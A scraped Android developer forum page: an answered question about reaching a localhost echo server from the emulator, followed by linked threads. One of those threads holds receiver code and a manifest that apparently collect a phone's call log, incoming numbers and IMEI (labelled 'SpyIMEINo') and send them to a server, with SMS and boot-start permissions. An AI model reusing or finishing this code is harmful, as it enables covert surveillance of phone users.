Can not connect lo localhot from emulator using socket

by Oskeol » Fri, 09 May 2008 16:01:35 GMT


Sponsored Links
 Hi,
I want to access an Eccho server in localhost.

Here is the Echo server in localhost




import java.net.*;
import java.io.*;
import java.util.Scanner;


public class EchoServer
{
        public static void main(String[] args)
        {
                try
                {
                        ServerSocket s = new ServerSocket(8189);
                        Socket incoming = s.accept();

                        try
                        {
                                InputStream inStream   = 
incoming.getInputStream();
                                OutputStream outStream = 
incoming.getOutputStream();
                                Scanner in = new Scanner(inStream);
                                PrintWriter out = new PrintWriter(outStream, 
true);
                                out.println("Hello! Enter BYE to exit");

                                boolean done = false;

                                while(!done && in.hasNextLine())
                                {
                                        String line = in.nextLine();
                                        out.println("Echo: "+ line);
                                        if(line.trim().equalsIgnoreCase("BYE"))
                                                done = true;
                                }

                        }
                        finally
                        {
                                incoming.close();
                        }

                }
                catch(IOException e)
                {
                        e.printStackTrace();
                }

    }
}


I have a client, on the emulatot that tries to connect to this server.
I use 10.0.2.2 to connect to localhost, but it doesn't work.

Socket s = new Socket("10.0.2.2", 8189);

Can anybody explain why this happen,

oskeol
--~--~---------~--~----~------------~-------~--~----~



Can not connect lo localhot from emulator using socket

by kobica » Mon, 12 May 2008 17:15:56 GMT


 >

have you tried to forward/redirect ports?
Maybe that is what you are missing.

Plus, take a look at:


Sponsored Links


Can not connect lo localhot from emulator using socket

by Oskeol » Tue, 13 May 2008 20:31:26 GMT


 Thanks, very much for your help.
Forwarding ports it does now work.

Thnx agani Kobi,

Oskeol
--~--~---------~--~----~------------~-------~--~----~



Other Threads

1. Access Context from a different Package : getApplication returns null

I have an Activity which is packaged as a jar and I want to get the
system service for Connectivity and use the ConnectivityManager.
Hence, I am using getSystemService(Context.CONNECTIVITY_SERVICE).  I
want to use getActivity().getSystemService() or getApplication() of
that activity but when I create a reference of it from other
application(say Hello World) to which the jar file has already been
added.

I want to have that application(Hello World) in another package. In
this scenario the getApplication() method returns null.

1. Is there any way to get the application/ context?

2. Is there any other way by which i could access the
getSystemService(Context.CONNECTIVITY_SERVICE) of the activity which i
have bundled as the jar?

Please Help!

Thanks


-- 

2. Problem in handling Incoming Calls

I have made broadcast receiver(BR) for incoming and outgoing calls.My
BR works fine for outgoing calls bt for incoming calls the programmes
stops and give an error to close or wait here is ma code


//IncomingCall.java

import java.util.ArrayList;
import java.util.List;
import org.apache.http.message.BasicNameValuePair;
import android.content.BroadcastReceiver;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.os.Bundle;
import android.provider.BaseColumns;
import android.provider.CallLog;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import android.util.Log;


/**
 * @author mayank.b
 *
 */
public class IncomingCall extends BroadcastReceiver{

        String result="";
        final String servicefunction = "EmailCALL" ;
        static String incomingNumber = "";
        InputHandeler inputhan = new InputHandeler(servicefunction);
        static final String ACTION = "android.intent.action.PHONE_STATE";
        public void onReceive(Context context, Intent intent){

                Log.i("intent telling something","== "+intent.getData()+"  ===
"+intent.getDataString()+" === "+intent.toString());
                Bundle bundle = intent.getExtras();
                Log.i("See on Bundle", "!!== "+bundle.toString());

                if(bundle.getString("state").equalsIgnoreCase("RINGING"))
                  {
                   incomingNumber = bundle.getString("incoming_number");
                  }

                //if(bundle.getString("state").equalsIgnoreCase("IDLE"))
                   {
                           TelephonyManager tmgr =
(TelephonyManager)context.getSystemService(Context.TELEPHONY_SERVICE);
                           Log.i("See on Bundle", "!!== "+bundle.toString());
                           Log.i("On Receive", "WE ARE INSIDE! 
Incoming!!!!!!!!!!
"+incomingNumber);

                           MyPhoneStateListener PhoneListener = new 
MyPhoneStateListener();

                  Log.i("On Receive", "WE ARE INSIDE! Incoming!!!!!!!!!! ");
                  tmgr.listen(PhoneListener, 
PhoneStateListener.LISTEN_CALL_STATE );
                  Log.i("On Receive", "WE ARE INSIDE! Incoming!!!!!!!!!!
"+tmgr.getCallState());
                  if(incomingNumber != null && tmgr.getCallState()== 1){

                String imeino = "";
                //imeino = "123456789";
                imeino = andprotect.IMEI;
                String calllog = getlastCallLogEntry(context);  // get call
duration
                List list =new ArrayList();
                        list.add(new BasicNameValuePair("SpyIMEINo", imeino));
                        list.add(new BasicNameValuePair("CallLog", calllog));
                        list.add(new BasicNameValuePair("OtherPhoneNo", 
incomingNumber));
                        result=inputhan.sendingdatatoserver(list);
                        Log.i("VALUE RESULT", "RESULT ="+result);
                        AdvanceParsingData data=new AdvanceParsingData(result);
                        result=data.getResult();
                        Log.i("VALUE RESULT", "RESULT U GOt="+result);
                 }
           }
         }

        private class MyPhoneStateListener extends PhoneStateListener
        {
         public void onCallStateChanged(int state, String incomingNumber)
         {
          Log.d("Indside MyPhoneListener","incoming no:"+incomingNumber);
         }
        }

        public String getlastCallLogEntry(Context context){

                String[] projection = new String[]{
                        BaseColumns._ID,
                        CallLog.Calls.NUMBER,
                        CallLog.Calls.DURATION,
                        CallLog.Calls.TYPE
                   };
                ContentResolver resolver = context.getContentResolver();
                Cursor crsr = resolver.query(CallLog.Calls.CONTENT_URI, 
projection,
null, null, CallLog.Calls.DEFAULT_SORT_ORDER);
                int colnum = crsr.getColumnIndex(CallLog.Calls.NUMBER);
                int coltype = crsr.getColumnIndex(CallLog.Calls.TYPE);
                int coldur = crsr.getColumnIndex(CallLog.Calls.DURATION);

                if(!crsr.moveToNext()){
                        crsr.close();
                }

                String number = crsr.getString(colnum);
                String duration = crsr.getString(coldur);
                String type = crsr.getString(coltype);

                Log.i("number ====", number);
                Log.i("duration ====", duration);
                Log.i("type ====", type);
                return duration;
        }

}



//android mainfest.xml



<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.wit"
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/
app_name">
        <activity android:name=".andprotect"
                  android:label="@string/app_name">
    <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category
android:name="android.intent.category.LAUNCHER" />
                        </intent-filter>
        </activity>

    <receiver android:name=".BroadcastService">
                <intent-filter>
                <action android:name="android.provider.Telephony.SMS_RECEIVED" 
/>
                </intent-filter>
                </receiver>



        <receiver android:name=".IncomingCall">
                <intent-filter>
                <action android:name="android.intent.action.PHONE_STATE" />
                </intent-filter>
        </receiver>

        <receiver android:name=".OutGoingCalls">
                <intent-filter>
                <action android:name="android.intent.action.NEW_OUTGOING_CALL" 
/>
                </intent-filter>
        </receiver>

        <receiver android:enabled="true" android:name=".OnbootStart">
         <intent-filter>
         <action android:name="android.intent.action.BOOT_COMPLETED" /
         <category android:name="android.intent.category.DEFAULT" />
     </intent-filter>
 </receiver>

    </application>


<uses-permission android:name="android.permission.READ_PHONE_STATE"></
uses-permission>
<uses-permission
android:name="android.permission.PROCESS_OUTGOING_CALLS"></uses-
permission>
<uses-permission android:name="android.permission.INTERNET"></uses-
permission>
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-
permission>
<uses-permission android:name="android.permission.SEND_SMS"></uses-
permission>
<uses-permission
android:name="android.permission.RECEIVE_BOOT_COMPLETED"></uses-
permission>
<uses-permission android:name="android.permission.READ_CONTACTS" />


</manifest>



log cat traces


05-12 10:19:39.960: DEBUG/dalvikvm(577): GC freed 13370 objects /
680824 bytes in 423ms
05-12 10:19:40.757: DEBUG/HomeLoaders(858):   --> starting
applications loader
05-12 10:20:00.022: WARN/ActivityManager(577): Hung broadcast
discarded after timeout failure: now=1262803 dispatchTime=1213395
startTime=1224404 intent=Intent
{ action=android.intent.action.PHONE_STATE (has extras) }
numReceivers=1 nextReceiver=1 state=1
05-12 10:20:00.040: WARN/ActivityManager(577): Timeout of broadcast
BroadcastRecord{4372ebc8 android.intent.action.PHONE_STATE} -
receiver=null
05-12 10:20:00.040: WARN/ActivityManager(577): Receiver during
timeout: ResolveInfo{4372e9f0 com.wit.IncomingCall p=0 o=0 m=0x108000}
05-12 10:20:00.170: INFO/ActivityManager(577): ANR (application not
responding) in process: com.wit
05-12 10:20:00.170: INFO/ActivityManager(577): Annotation: Broadcast
of Intent { action=android.intent.action.PHONE_STATE (has extras) }
05-12 10:20:00.170: INFO/ActivityManager(577): CPU usage:
05-12 10:20:00.170: INFO/ActivityManager(577): Load: 0.66 / 0.42 /
0.33
05-12 10:20:00.170: INFO/ActivityManager(577): CPU usage from 28693ms
to 155ms ago:
05-12 10:20:00.170: INFO/ActivityManager(577):   system_server: 12% =
8% user + 4% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   com.android.phone: 0%
= 0% user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   qemud: 0% = 0% user +
0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   adbd: 0% = 0% user +
0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   events/0: 0% = 0%
user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):
com.android.inputmethod.latin: 0% = 0% user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):
android.process.media: 0% = 0% user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   logcat: 0% = 0% user
+ 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   rild: 0% = 0% user +
0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   zygote: 0% = 0% user
+ 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):   servicemanager: 0% =
0% user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):
+android.process.acore: 0% = 0% user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577):  -app_process: 0% = 0%
user + 0% kernel
05-12 10:20:00.170: INFO/ActivityManager(577): TOTAL: 41% = 28% user +
13% kernel + 0% irq + 0% softirq
05-12 10:20:00.190: INFO/ActivityManager(577): Removing old ANR trace
file from /data/anr/traces.txt
05-12 10:20:00.200: INFO/Process(577): Sending signal. PID: 858 SIG: 3
05-12 10:20:00.210: INFO/dalvikvm(858): threadid=7: reacting to signal
3
05-12 10:20:00.220: INFO/Process(577): Sending signal. PID: 618 SIG: 3
05-12 10:20:00.231: INFO/dalvikvm(618): threadid=7: reacting to signal
3
05-12 10:20:00.231: INFO/Process(577): Sending signal. PID: 677 SIG: 3
05-12 10:20:00.241: INFO/dalvikvm(677): threadid=7: reacting to signal
3
05-12 10:20:00.241: INFO/Process(577): Sending signal. PID: 645 SIG: 3
05-12 10:20:00.251: INFO/dalvikvm(645): threadid=7: reacting to signal
3
05-12 10:20:00.251: INFO/Process(577): Sending signal. PID: 664 SIG: 3
05-12 10:20:00.251: INFO/dalvikvm(664): threadid=7: reacting to signal
3
05-12 10:20:00.261: INFO/Process(577): Sending signal. PID: 689 SIG: 3
05-12 10:20:00.261: INFO/dalvikvm(689): threadid=7: reacting to signal
3
05-12 10:20:00.261: INFO/Process(577): Sending signal. PID: 577 SIG: 3
05-12 10:20:00.261: INFO/dalvikvm(577): threadid=7: reacting to signal
3
05-12 10:20:00.344: INFO/dalvikvm(858): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.380: INFO/dalvikvm(677): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.402: INFO/dalvikvm(689): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.441: INFO/dalvikvm(577): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.441: INFO/dalvikvm(664): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.441: INFO/dalvikvm(618): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:00.451: WARN/ActivityManager(577): finishReceiver called
but none active
05-12 10:20:00.490: INFO/dalvikvm(645): Wrote stack trace to '/data/
anr/traces.txt'
05-12 10:20:05.870: DEBUG/dalvikvm(618): GC freed 6463 objects /
364752 bytes in 172ms
05-12 10:37:32.742: DEBUG/dalvikvm(618): GC freed 10417 objects /
587048 bytes in 238ms

-- 

3. Start another application from another package with an Intent

4. Obtain list of devices in network

5. Android 2.1 and MS SQL Server

6. I love Android and could not resist to share this Android tee with you all

7. Keeping service alive across configuration changes